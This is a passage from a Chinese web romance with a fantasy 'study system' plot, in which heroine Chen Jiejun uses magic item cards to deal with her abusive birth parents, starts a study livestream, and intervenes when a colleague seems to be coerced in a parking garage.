季潭奇怪地看她一眼,把面推了回去,“这是给你自己吃的。”
“我?”陈结君震惊,陈结君不解,“那你呢?”
她的目光不自觉看向那两道菜,不会吧不会吧,季潭对食物的要求这么低吗?!
下一秒,季潭回答了她的心里话:“我吃这个就行。”
十分钟后,陈结君嗦着面条,偷偷抬眼看对面的季潭,给季总做饭的第一天,发现季总比狗好养。
28. 问就是爱过
连续在季潭家做了好几天晚饭,还好没有像第一天那样出问题,最重要的是季潭家里有洗碗机,吃完饭用不着她洗碗,甚至也不用她收拾,因为第二天做饭时,季潭就开始跟她一起在厨房忙活。
她负责做饭,他负责收拾。
能找到这样的饭搭子,陈结君觉得很省心,可惜今天饭搭子要加班,她不用去曲水别墅当厨娘了,于是早早回家。
近来气温上升,她只穿了两件居然还有点热,回家路上,她把衬衫外套脱下来搭在手上,刚走到小区门口,就见两道熟悉的身影,穿得花花绿绿的妇人在跟保安激动的说着什么,老头则在入口处徘徊。
陈结君脚步一顿,转身就想走。
可惜对方已经先一步看见了她。
“就是她!就是她!”老头指着她直嚷嚷。
妇人猛地回头,浑浊的眼珠子变得锃亮,跑上前一把拉住陈结君,回头冲追来的保安喊道:“她就是我女儿!她就是,不信你问她!”
这会是下班高峰期,赵玉芬和李辉的出现本就惹得回家的打工人频频回头,这会见还拉着个年轻貌美的冷脸姑娘喊女儿,国人刻进骨子里的八卦DNA动了。
有人渐渐驻足,远远的看着这边。
陈结君面不改色,手上力道却一点不减,狠狠把赵玉芬的手拨开,保安本就与她熟识,见状询问道:“陈小姐,你要是有难处可以告诉我,我帮你报警。”
不等陈结君回答,赵玉芬已经嚷嚷起来:“报警?报什么警啊?我找我女儿有什么可报警的啊?啊?!!”
带着浓重口音的尖利嗓子引来了更多目光,李辉不禁往后退了退,赵玉芬却浑然不觉丢人,还要伸手扯保安的大衣,手还未碰到对方,就被陈结君打掉了,她怒不可遏,转头扯住陈结君的胳膊,登时就要撒泼,却在看见对方冰冷的眼神时顿了顿,想起她那宝贵的两百万。
她忍了忍,憋出一个笑来:“君儿啊,你快跟这个不长眼的保安说清楚,我是你的谁?”
“笑不出来就不要硬笑,怪瘆人的。”赶在赵玉芬爆发前,她接着道,“不想要钱了?”
赵玉芬的污言秽语梗在喉咙,说也不是,不说也不是,最后阴阳怪气地挤出一句:“别以为那点钱就能拿捏我,我是你妈!亲妈!”
最后两个字加了重音,陈结君听着都觉得晦气,她不愿跟眼前的两人有任何纠缠,问:“有事快说。”
“事可多了,我前阵子忙,没时间管教你,你弟弟是不是来找过你,你连门都没让人进?你还是他姐姐吗?!啊?”
“就为这事?”陈结君扯了扯嘴角,抬脚往里走,“我没你们那么闲。”
“你给我站住!”李辉一声暴喝,他一直沉默不语,这一声倒把所有人都吓一跳。
陈结君的忍耐已经到了极点,葱白的右手抚上左手腕的玉镯,食指轻轻点了一下,系统被召唤出来。
【还以为你已经把本系统忘了。】
“怎么会?我不是每天都在按时完成学习计划吗?”
只是最近的生活还算顺风顺水,她确实不太需要和系统对话。好在她每天积累下来不少积分,道具也都用积分维持着有效期,陈结君开门见山,直接激活了一个道具。
【送你离开千里之外道具已被激活,请考生选择被送对象。】
看看对她怒目而视的李辉,又看看气得眼歪嘴斜的赵玉芬,陈结君发愁了。
太为难人了,她两个都想送走。
翻了翻剩余的道具卡,没有能把人送走的道具了,陈结君纠结了会,点开一张道具卡。
【劳动卡已被激活,劳动最光荣,请考生选择劳动者。】
陈结君选得很快,但在旁人看来,她沉默的时间还是有些久了,只是众人都以为她被李辉的吼声吓到,见李辉夫妇又要上前拉扯,不禁你一言我一语地劝了起来。
陈结君回过神时,李辉夫妇正在力战群雄,不管别人语气如何,主打一个逮谁骂谁,嗓门震天响。
眼看事情越闹越大,变故在这一刻发生了。
正与一路人争得面红耳赤的李辉突然往前迈起一大步,一把将叉着腰骂得正欢的赵玉芬扛了起来,尽管他瘦弱的身躯险些被赵玉芬压垮,但仍坚强地,颤抖着原地做了三个蹲起。
众人沉默了,像噼啪作响的鞭炮忽然被剪断了线,世界恢复宁静。
赵玉芬的脸色异常慌张,都这样了还不忘破口大骂,只是吼骂的对象从路人变成了李辉。
李辉做完三个蹲起已经冷汗涔涔,已经没有开口的力气,他这会只觉得自己跟中了邪似的,等他反应过来,身体已经无法控制地做了这些,他的脸色很难看,疲惫中带着惊恐,就这么扛着骂骂咧咧的赵玉芬,在众人震惊的目光下一路狂奔,直到成为远处的一粒黑点。
待到人们回过神,再看方才争执的地方时,那个漂亮女孩也消失了。
怪了。
保安看了眼蹲在小区树下撸猫的陈结君,心情复杂,这个几十年的老小区终于要流传起怪谈来了。
陈结君一边摸着柔软的猫咪,一边问系统:“这道具,该不会真的要奔走千里吧?”
【是的,但劳动卡的时长只有一个小时。】
“也就是说,李辉得扛着赵玉芬暴走一个小时,然后把赵玉芬放下,自己走一千里路?”想起李辉夫妇俩半只脚踏进棺材的年纪,陈结君皱眉,“不会出人命吧?”
【放心,我们是正经系统。千里之外未必要行走千里,只要搭乘任何交通工具到达千里之外就可以了。】
见宿主仍不放心,系统尽责解释:【无论什么道具卡,生效期间都会有安全机制,会把效果控制在被施展对象的可承受范围内,剩余的效果自动免去。】
那就好,陈结君站起身,对保安笑笑,道:“今天辛苦你了,要是他们再来不用搭理,我不在他们自然会走。”
有这么一对父母,保安看她的目光都带着同情,点头应道:“放心吧陈小姐,下回他们来了,我提前告知您。”
陈结君把手揣进兜里往回走,没两步就看见楼下站着的人。
周睿泽穿着白
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色的套头毛衣,颜色渐淡的晚霞在他身后徐徐铺开,像一幅精心勾勒的水墨画。
陈结君不自觉想起那天傍晚同样站在楼下的季潭,心中不由一叹,这世上有千七百怪的丑,自然就有百花齐放的美,同样的地方,同样是帅哥,画风却迥然不同。
周睿泽看着她走近,含笑道:“怎么无精打采的?”
“没什么,就是下班了有点累。”陈结君抿唇,悄然打量他的神色。
刚刚没在门口看见他,他应该是在李辉和赵玉芬之前到的,门口那场闹剧不知道被他看进去多少……希望周睿泽别追问这件事,她一点也不想提起那对糟心的父母。
好在周睿泽一如当年那般,对她不愿说的事情绝口不问,只笑着问:“吃饭了吗?”
陈结君摇头,在周睿泽开口前拿出手机在他面前摇了摇,说:“我已经点了外卖,应该很快到。”
周睿泽一顿,笑着说:“也好。”
他说着把手里的东西给她,陈结君低头看,那是一个精美的手绘信封,寥寥几笔就勾勒出一束的灿烂的淡金色百合花,陈结君往年最爱看他的画,这信封一看就知道是他亲手画的,画功要比当年精进很多。
信封散发着淡淡的百合香,好似这束百合真的鲜活着绽放,陈结君很喜欢,她朝他摇摇信封,道:“画得比以前还要好,谢啦。”
周睿泽见她要收进包里,问:“你不打开看看?”
看什么?
陈结君一愣,这才反应过来他给的不是以前的卡片,而是一枚信封。
其实她第一次知道周睿泽这个人,就是因为捡到了他的画卡,那时候他家条件不好,常常把画纸裁成笔记本大小,在上面作画。她还记得捡到的那张画上的凤凰,她第一次看见那样的画风,生动绚丽又充满古韵,见过一次,就再也忘不掉了。
后来她常常去找周睿泽看画,一来二去的,周睿泽干脆画一张便送她一张,那些画都被她妥善保管着。
周睿泽显然也想起当年,笑道:“最近没画画,下回练笔后再带给你,好不好?”
陈结君回过神,连忙摆手道:“不用了,你现在的画可是价值千金,我不能收。”
周睿泽嘴角的笑意渐淡,见她一如即往没心没肺的样子,不由抬手摸了摸她的头,低声道:“小结,我说过的,我的画你无论什么时候都能收。”
陈结君恍惚想起那年在学校操场上,她听说周睿泽送给她的画原本是要用来参赛的,只因为她说想要,转手就给了她,再画却已不是最初那幅的神韵。那时她把画卷抱在怀里,约周睿泽出来想把画给他。
“老师说了,你这幅画送去参赛肯定能拿一等奖,给我浪费了。”
“不浪费。”那时的周睿泽野这么摸摸她的头,“我的画你什么时候都能收,这不是浪费,是我心之所向。”
那时她以为是告白,她红着脸拍开他的手,说了什么已经忘了,总之那晚她一夜没合眼。
陈结君在心里叹口气,想当年她也是玩过纯爱的人,可再回想,却只剩一片惘然。
29. 事发
“我的画展下周末开始,这是邀请函,到时候……你会来吗?”
“当然会。”
——————
陈结君仰着头坐在沙发上,盯着手里精美的邀请函看了好一会,把它放到入户玄关的收纳盒里,转身进了房,她今天还有个证要考,得抓紧时间复习。
自从有了记忆力加持,考证也越来越顺手了,等从虚拟考场出来已经是凌晨两点钟,陈结君看着手机里的到账短信,心满意足地躺平了。
银行卡里的数字越来越长,她也快攒够跟赵玉芬他们断亲的钱了,到时就能多回陈家陪陪父母。也不知道陈结梅与他们相处得如何,父亲母亲似乎都在体谅她的心情,日常电话或聊天时也都有意避开谈及这些,只当还是以前三口之家那般。
可这样对陈结梅而言又是否公平呢?她还记得当年作为交换生的陈结梅性格敏感,不善言辞,如果被她知道亲生父母仍与她这个养女联系,或许会伤心,会影响他们之间的感情。
等解决了李家这个麻烦,再约个时间与陈结梅聊聊。
在床上躺了会,实在受不了咕噜咕噜叫的肚子,又怨鬼似的爬起身,到厨房下了一碗面条,点开新课程下饭。
成绩很快就出来了,她不但通过了考试,还拿到双倍奖励。陈结君看着玉镯里的证书们,虽然很多不能变成实体证书,但她的确通过了考试,还拿到了奖金,考证的经验越来越多,初级中级的证书对现在的她来说已经是手拿把掐,陈结君想,是时候认真拓展一下副业了。
她最近陆陆续续在网上发了些学习经验贴,虽然评论没几个认真学的,但流量数据却很不错,大家都很想看看她一个不学无术的前富二代怎么转型当考证达人,来看笑话的比认真学习的人多太多了。
这不是她想看到的结果。
陈结君深吸一口气,给张屿发微信:“我想直播了。”
张屿不愧为夜之小精灵,秒回了一个问号。
“直播学习的过程很无趣,只有真正想一起学习进步的人才能坚持下去。”陈结君把自己的想法跟她大致讲了一下。
张屿有些担忧:“你这是把自己往风口浪尖推啊,你信不信李秀秀那帮人能笑死,到时来你直播间闹怎么办?”
陈结君笑笑,把手机拿到唇边,夹着嗓子道:“那只好求小岛王子前来救驾了。”
“……你要是能用这种声调直播,保不准能火。”张屿声情并茂道,“我一个人可敌不过那千军万马,大小姐你得罪过多少人你心里没点数吗?那是我能挡得住的?”
陈结君笑道:“开玩笑的,哪用得着你来挡。我巴不得他们来,多带点流量,最好再刷刷礼物,那可都是钱。”
张屿却心疼道:“小结啊,一想到你竟也沦落到用尊严换那几两碎银,我就觉得我该死!我要是多赚点钱包了你,也不至于让你落到这步田地呜呜呜呜呜……”
陈结君语气凉凉:“那你借我点钱?”
“啊?什么米线?太晚了我就不吃了,睡了,晚安~”
陈结君被她逗乐了,张屿的意思她何尝不懂,当初不可一世的大小姐沦落成众人的笑柄,虽说她已经看开了,但在亲近的人眼里,她还是个突逢巨变的脆弱小可怜。
不过没关系,一切只是暂时的。
陈结君粗略盘算了一下,经过这段时间的努力她离两百万的目标只剩一半了,如果半年后季潭能如约给她分手费,那她也算是个小富婆了。
她熟练地打开手机看了眼存款,里面的数字给了她莫大的能量,她心满意足地关掉手机,来到电脑前,反正直播的事都准备得差不多了,她决定择日不如撞日,今天就开始直播!
她的思路很简单,就开一个沉浸学习的直播间,大家一起学习,为此她用积分将系统里的教材兑换出来,方便学习。
这不是她第一次开直播,只是以前的直播内容大多是化妆和开箱安利,今天却是好好地学习。她不想去设想粉丝的反应,打开直播后就没再往屏幕上看一眼,只一心扑进题海里……
她沉迷刷题,一点也没留意到直播间不断涌入的人数和一秒未停歇的留言。
当她做完今天的学习计划,伸着懒腰看向电脑时,天塌了!
陈结君一瞬间以为自己学迷糊了,谁啊!谁给她刷了八百个嘉年华啊?!
没事吧?没事吧?!
陈结君看了眼榜一的ID,是一串系统给的初始数字,她没什么印象,好像是个新粉。
她点进数字人的主页,里面什么都没有,也看不出性别,干净得像个临时起意的小号。
陈结君做完这些,见这人的嘉年华还没停,不由得膛目结舌,开口道:“谢谢这位……”
因为不知对方是男是女,她组织了一下语言,接着说:“谢谢榜一老师,您的心意我已经收到了,就别再破费了。”
对方倒是听话,竟真的停下了。
陈结君扫了眼榜单,礼物出乎意料的多,只是在这位大佬的衬托下显得没那么突出了,这个数字小号刷到了断层第一。
平台是有提现限额的,像她这样的个人主播一年能提的数额还不到五十万,她看了眼屏幕,感觉心在滴血,看得见摸不着的滋味不好受。
至少都是自己的钱,她安慰自己,就当存养老金了。
评论区一直有人在留言,她粗略扫了一眼,褒贬不一,说什么的都有,她全当没看见,对着镜头笑得甜美:“谢谢大家陪我一起进步,时候不早了,我先下啦,晚安!”
说完麻溜退出,一秒不带停的。
陈结君洗完澡走出浴室,预备关窗睡觉时才发现外头不知何时下起了小雨。
就在此时,敲门声响起。
陈结君心里一突,雨天,深夜,敲门声。
怎么有点吓人呢。
她的大脑开始自动播放一些暗黑画面,好在上回装门的时候,孟鑫顺道给她装了监控,陈结君打开监控界面,看见了门口熟悉的身影,这才松了口气。
她打开门,笑看面前的女孩,问:“怎么这么晚还没睡?”
小橘还穿着她那件蓝色条纹睡衣,头发顺着肩膀垂下,显得她格外柔和,只是唇色有些发白,见了她仍是一脸笑意,道:“睡不着。我有些事我想拜托你,但最近事情有些多,我怕转头给忘了,只好现在来打扰……”
“不打扰。”陈结君见她脸色不好,想起上回一起吃火锅后就没再见过她,不由关心道:“你脸色很不好,生病了?”
“没有。”小橘摇头。
“那是遇到什么难事了?”
“只是一点小事。”小橘笑着说,“很快就能解决了。”
“那就好。”见她不愿说,陈结君便不多问,只道,“有什么需要帮忙的尽管找我。”
“还真有事需要你帮忙。”小橘道:“我过几天要出趟远门,不放心楼下那些小猫……”
她攥着衣角往旁边挪了挪,陈结君这才看见她身后的一大袋猫粮。
她立刻猜到她的意思,“你想让我定时喂猫?”
“对,这是剩下的猫粮,我知道你平时有空就会去,但猫咪太多了,我离开这段时间,能麻烦你每天早晚喂两次吗?”
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“就这事呀,就算你不说,我也会常去看看那帮小家伙的。”
陈结君侧头去看她那一大麻袋的猫粮,足足有十公斤重,想起她已经失业许久,这一大包猫粮估计要花不少钱,不由道:“我还有猫粮,这段时间用我的就是,你的留着等你回来后再去喂,行吗?”
“不了,它快过期了。”
“啊……”这么多猫粮过期了太可惜,陈结君不再推辞,过了会,小橘又搬来些给猫猫买的小窝,毛球,食盆,竟然还有一些猫咪常用的药。
陈结君膛目结舌,“你要离开很久吗?”
“嗯,估计会很久。”小橘埋头整理东西,过了会竟还翻出几件猫咪的衣裳。
陈结君皱眉,有点担心她被骗,不由多问了句:“你要去哪儿?”
“回老家,有些事要处理一下。”
回屋前,小橘把屋里养的鲜花连带着花瓶一起给了她,“我怕走之前太匆忙,没能顾好它,到时孤零零的开着多可惜,一并交给你啦。这可是梵高的向日葵,你可要好好珍惜!”
陈结君很喜欢这个品种的向日葵,抱着它目送小橘回屋,闻言跟着玩笑道:“放心吧,我不会让它孤芳自赏哒!”
小橘从门边探出头来,朝她摆摆手,笑道:“拜拜,晚安。”
陈结君一早到了公司,不过两日,她已经和周围的同事混熟了,也能上手做一些事,只是一直没机会参与到核心项目。
“心急吃不了热豆腐,你才来不到一个月,以杨组长的性子,不会这么快重用你的。”
龙铃撕开包装纸,把巧克力掰开分她一块,道:“况且还有明欣在,听说她很护食,上次有个同事被杨组长夸了几句,似乎有意把她调过来,第二天就犯了大错,不但没能参与项目,还被调到后勤部去了。”
陈结君问:“那个人犯错,跟明欣有什么关系?”
龙铃压低声音:“听说那个出问题的单子,原本是明欣在做的,有人说她在里头埋了坑,那位同事急于求成,这才被套住了。”
陈结君不作评价,只道:“这些话可别对其他人说了,小心隔墙有耳。”
“我知道的,我只对你说!”龙铃点头,毛茸茸的卷卷随着她的动作一颤一颤的,像只乖顺的小绵羊。
回到工位,明欣便送来一叠资料,她说过一向温声细气,此时也是一脸和善:“麻烦你了,小陈。”
陈结君扬起笑容,道:“没问题。”
当牛做马的时候,时间总是过得飞快,因为忙碌的牛马没有度日如年的感受,只能埋头苦干到不知天地为何物。
等她再抬头,距离下班时间已经不到五分钟了。
她简单收了下东西,踩着点走出办公室。龙铃今天要加班,用哀怨的眼神目送她离开。
刚到公司楼下就遇见明欣,看她头戴施工帽形色匆匆的样子,像刚从工地赶回来。
陈结君本想跟她打个招呼,哪知她压根没看见站在不远处的她,匆忙走向地下车库。
这么着急,难道是项目出了什么事?
陈结君皱眉,犹豫片刻,还是没有跟上去。才刚进公司不久,她还是低调点,别瞎管闲事的好。
才踏出一步,她脑海中猛然划过一个画面,刚刚明欣匆忙走过时肩上的包带滑下,她伸手捞了一下,就那一下,她好像隐约看见手腕上有一道划痕……
是错觉吗?
不,她肯定没看错。
她做题时一目十行也没有看错过题目,那么明显的一道疤……
她不再迟疑,大步朝车库走去。
30. 她抱着花
因为犹豫了会,走到车库时已经瞧不见明欣的身影。
写字楼的车库很大,要找一个人无异于大海捞针,还好她有外挂。
陈结君敲了敲玉镯,“系统,有没有能帮上忙的卡?”
【锁题卡或许能到帮你。】
陈结君看了眼卡牌的介绍,是一张用来锁住题眼的卡牌,能帮助持卡者快速锁定题眼。
陈结君一目十行,这对她来说只是一张鸡肋的卡牌,倒没想过居然还能通过这张牌用来锁定某个人。
她努力回忆下午明欣交给她的资料,里面有一份较为重要的,她交给明欣时,亲眼看见她放进随身的公文包里,现在应该还带着它。
她把想起来的内容写在卡牌上,又把查询范围设在地下车库,不一会,卡牌有了反应。
陈结君顺着卡牌指引的方向走,绕了好几道弯终于看见了明欣的车,公文包就放在副驾上,但明欣却没了踪影。
陈结君靠在方形柱子后,目光在周围流转,很快发现不远处停着一辆大奔,看着有些奇怪……车竟然在抖。
Emmmm……
这就有点微妙了,陈结君猫着腰,用车身做掩护小心翼翼地试图靠近那辆大奔,还未走近,车里的动静忽然停了。
车门被拉开,明欣踩着小细跟下了车,脸色不太好看。
陈结君迅速躲到车后边,出乎意料的是,明欣下车后车里又下来一个女孩,那女孩看着有点面熟,应该是公司里的同事,陈结君一时想不起来。
只见她把头埋得低低的,逃命似的跑了。
两人脸色都不好,应该是闹不愉快了。她对别人的隐私没兴趣,正准备转身离开,却瞥见明欣俯下身,似乎在对里面说话,距离太远她听不清。
车里居然还有人?
不等陈结君多想,明欣被一只手拉进车里,她身子往后仰,是抗拒的姿态。
陈结君心一抖,又躲回车后,这会明欣大半个身子已经被拉进去,她似乎放弃挣扎了,压低声音不知说了什么,背在身后的右手在发抖。
眼前的场景怎么看都不对劲,陈结君犹豫先报警,还是先想办法救人,可她一时半会找不到合适的道具。
明欣已经被拉上车,她转过头,陈结君正好看清她的脸,她竟不知道什么时候出了汗,额前的碎发粘在脸上,一双眼茫然又惶恐。
那眼神看得陈结君心一抖,她不再犹豫,胡乱从商城里兑换一只用来缓解学习压力的小奶猫,又换了一根点读笔,把笔绑在小猫的背上,系统兑换出来的道具多少与主人有几分相似,也能理解她的意思。
小奶猫背着点读笔,一落地就朝那辆大奔跑去。
就在这会,一只手按住了车门,似乎想把门关上,陈结君就在那一瞬间点开了点读笔……
提神醒脑的背景乐响彻车库,伴随着声情并茂的播音腔:“黄豆焖猪蹄是一道令人垂涎三尺的家常菜,做法非常简单,先取猪蹄洗净,冷水下锅……”
录音笔发出声音那一瞬间,扒在车门的手一顿,下一秒明欣被推了出来,车门“砰”的一声关上。
“热锅放油,加入适量冰糖……”
明欣半跪在地,和小奶猫大眼瞪大眼,而她身后的车已经飞快关门,见鬼似的开出车库。
“倒入猪蹄,加入八角等香料……”
明欣回过神,爬起来左右张望,陈结君小心翼翼地藏在车后方,心里祈祷她别过来。
没发现人影,明欣扯了下嘴角,没有探究到底的意思,弯腰想摸摸小猫,才发现小奶猫背着它的录音笔跑远了……
离开车库后,陈结君第一时间和系统交易,删除了有她出现的监控录像。这回乐于助人的代价不小,她的积分几乎用空了,连夜做题到临晨,才勉强赚回一丁点积分。
不知道从什么时候开始,系统成了她的底气,没有积分她变得很没安全感,接下来的日子里,她除了上班就是学习,不放过任何一个能攒积分的任务。
至于明欣,她依旧跟在杨组长身边,面面俱到,长袖善舞,与在车库里的狼狈模样全然不同。
陈结君偶然看见她和杨组长走在一起时会忍不住多看几眼,那天趴着车门的手是男人的手,手上的腕表跟杨组长的一模一样,她不得不多想。
奈何明欣没再像那天一样排斥杨度的接触,两人的肢体接触自然有礼,再加上杨度的年纪和那张正气凛然的脸,如果不是在车库看见那一幕,陈结君绝不会怀疑他们之间的关系。
杨度就算再出色,也是个五十多岁的老头,明欣这样年轻貌美又聪慧的女孩怎么可能心甘情愿跟着他。
陈结君猜,要么他们是各取所需,要么就是明欣被威胁了。
如果原因是前者,她绝不多管闲事,但万一是后者呢?
她的积分已经用完了,无法靠道具隐藏自己的同时了解真相,即使明欣是被胁迫的,她也没有把握帮她,更不想把自己搭进去。
想了两天,陈结君无计可施,只得先埋头攒积分,其他等积分攒够了再说。
——————
季潭开忙完手头的事已经是周六晚上,他还穿着板正的西装,坐在机场的候机室,心不在焉地划着手里。
孟鑫站在旁边悄悄看了眼,是微信的聊天页面,瞧那绿汪汪的一大片,不用想也知道是谁的聊天框。
自家老板在老板娘面前可以说是毫无地位,被拿捏得妥妥的。
这么多长长的绿泡泡对面,竟只有一条白泡泡,他只敢看一眼,没看清聊天内容,但根据白泡泡的长度看,老板娘也就回复了两三个字。
不知道在他有生之年能不能看见老板抱得美人归呢。
季潭把这几天的对话划拉了好几遍,心里有点烦躁。刚出差那天,陈结君还跟他聊得有来有回,即便她回消息的速度慢了些,但总有回复。
到了第二天就开始不对劲了,他发的消息如石沉大海,只在最开始的时候回了两句话,就再也没有搭理他了。
过了一天他实在忍不住,抽出午饭的时间给她打电话,她只说最近有点忙,客气地问候了几句就找借口挂电话。
这通电话过后,她更是一条消息也不回了。季潭每天都要问系统好几遍,她在做什么,她是不是遇到棘手的事了,奈何都被系统以“不得透露他人隐私”拒答了。
【不过,小树苗的安全您大可放心,如果她有致命的危险,系统将第一时间通知您。】
季潭烦躁地转着手里,他放心不了一点。没过多久,他又忍不住点开对话框,最后一条消息是进机场前他发的:“准备回去了,明天有空吗?”
她还没回,已经快凌晨,可能睡了吧。
“季总,我们的航班到了。”
季潭收起手机,朝登机口走去,侧头对孟鑫道:“落地后,先去她家看看。”
“是。”<
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p>不用想也知道这个“她”是谁。
孟鑫扭头,自家老板已经转过头去,他暗自腹诽。
思念心切他能理解,但他们落地已经快凌晨两点了,这个时间去人家家里,真的不会被拒之门外吗?
老板娘还有起床气……孟鑫纠结了会,为了老板的幸福着想,他还是忍不住提了句:“这个点,陈小姐或许已经睡了,您这几日也没怎么休息,看着都憔悴了。要不先睡一觉,明天早上再过去?”
他们已经顺利进入头等舱,季潭皱眉,随手打开桌上的便携镜子。
他很少花时间照镜子,只要衣着得体,干净利落即可,造型师为他做造型也是用最短的时间,在这期间他不是闭眼休息,就是看报表,看合同,总之,这是他出差以来第一次认真照镜子。
看起来有点……憔悴吗?
他看不太出来,问孟鑫:“我脸色不好?”
看着眼前俊美的脸,孟鑫昧着良心面无表情道:“是的。”
两秒后,他听见老板道:“明早九点,安排人来接我。”
陈结君做完题已经是凌晨一点多,她最近又要忙工作,又要刷题,早就困得不行了,两眼一闭倒头就睡。
第二天一早才看到手机里的信息,一条是季潭的,她算了下时间,怕打扰他休息,只回了句“好的。”
周睿泽发的,问她今天能不能过去。
陈结君一个激灵,最近沉迷学习不知天地为何物,竟连他开画展的日子都忘了。她回复晚点会到。
碰巧这会张尔尔给她发了消息,她就顺便约她一起去。
春天是她最喜欢的季节,天气晴朗,温度适宜。
她飞速画好淡妆,随手拿了件白色的吊带连衣裙,套上咖啡色的针织薄外套,拎个小包就出门了。
张尔尔非要来接她,从市区那边过来不堵车都得半小时,陈结君算了算时间,在小区旁的便利店买了一份三明治,慢悠悠吃完了。
便利店旁边就是一家花店,两手空空去看人家的画展不太好,她顿了顿,把三明治的包装纸扔垃圾桶里,朝花店走去。
时间还早,店里人不多,陈结君在老板娘的推荐下买了一束油画风格的向日葵花束。
付完账出来,张尔尔的电话也来了,陈结君走到她说的路口等。
在她对面不远处,一辆迈巴赫放缓了速度。
“季总,您看……”
司机话说到一半,从后视镜瞧见季潭的目光已经落在对面马路边的倩影上。
他默默闭上嘴,充当一位合格的司机,车要开到前面才能调头,哪知还在等红绿灯时,对面来了一辆白色宝马,老司机就看着自己要接的人上了别人的车。
“这……”
绿灯,他已经顺利调头,看了眼后座季潭的脸色,有些迟疑,直到听见老板淡定的声音:“跟上。”
司机一脚油门跟了上去。
季潭低头看了眼手机,他出发前给她发了消息,至今已经快一个小时了,她没有回复,却穿着漂亮的裙子,还抱了花,要去见谁?
司机感受到低气压,又想起孟助理嘱咐他千万不要怠慢陈小姐,自家老板的心思已经很明显了,他试图安慰道:“陈小姐抱着花,也许是去参加好友的生日会,或者别的特殊日子,女孩嘛,总是比较注重仪式感的,哈哈,哈,哈哈……”
后座的人没有回应,司机干笑几声,识相地闭嘴。